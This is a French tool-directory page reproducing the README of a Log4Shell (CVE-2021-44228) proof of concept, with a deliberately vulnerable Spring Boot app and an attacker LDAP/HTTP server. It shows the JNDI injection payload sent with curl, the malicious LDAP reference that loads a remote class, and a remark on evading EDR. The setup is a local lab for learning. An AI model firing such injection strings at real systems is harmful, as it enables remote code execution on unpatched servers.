Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 preuve de concept | Kitploit
Outils/GitHubGitHub/spasam/log4j2-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 preuve de concept

Voir le dépôt
21il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Log4Shell CVE-2021-44228 preuve de concept

Prérequis

  • Java (JDK/JRE) 8 ou version ultérieure
  • curl

exploitable

Application Spring Boot simple qui sert une page de connexion avec nom d'utilisateur et mot de passe. Elle enregistre le nom d'utilisateur lorsqu'il est POSTé sur /. Il n'est pas nécessaire que l'application enregistre toute entrée fournie par l'utilisateur. L'activation de la journalisation des accès utilisant une version vulnérable de log4j2 est suffisante.

Comment exécuter :

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

Par défaut, il écoute sur le port 8080. Si vous accédez à http://localhost:8080/ dans un navigateur, vous devriez voir quelque chose comme :

Dans pom.xml vous remarquerez la propriété JVM :

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Télécharger l’outil

Ceci n'est pas requis dans les versions plus anciennes de JDK. La valeur par défaut a été changée à false dans : JDK 11.0.1, 8u191, 7u201 et 6u211. Même sans cette propriété, l'application est vulnérable aux requêtes LDAP initiales qui peuvent exfiltrer des données sensibles.

hacker

Application hacker qui sert deux objectifs :

  • Démarre un serveur HTTP sur le port 9090 pour servir des charges utiles vulnérables
  • Démarre un serveur LDAP en mémoire sur le port 1389

Comment exécuter :

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

Dans pom.xml vous pouvez changer la charge utile par défaut envoyée aux applications exploitables :

--class=SayHello est la valeur par défaut, ce qui signifie qu'il envoie SayHello.class comme charge utile.

Comment exploiter

Envoyez une requête curl à l'application exploitable en référençant le serveur LDAP hacker dans l'un des champs saisis par l'utilisateur (nom d'utilisateur) :

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

Dans la console de l'application exploitable, vous devriez voir quelque chose comme :

Sous le capot

  1. L'attaquant a envoyé l'un des champs saisis par l'utilisateur sous la forme ${jndi:ldap://127.0.0.1:1389}
  2. Le log4j2 vulnérable intégré dans l'application exploitable effectue une requête LDAP vers 127.0.0.1:1389
  3. Il reçoit la réponse suivante :
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  4. L'application tente de récupérer la classe de la charge utile d'exploitation depuis http://127.0.0.1:9090/SayHello.class
  5. Le serveur hacker renvoie les octets binaires de SayHello.class
  6. L'application exécute la méthode getObjectInstance dans la classe d'exploitation

Note

Après la requête LDAP initiale et potentiellement le téléchargement de la classe Java d'exploitation, il n'est pas nécessaire que l'exploit fork un processus, établisse une connexion supplémentaire à Internet. Généralement, ce genre d'exploits peut être facilement détecté par les produits EDR, etc. Je soupçonne que les nouvelles charges utiles d'exploitation seront implémentées nativement en Java pour échapper à la détection.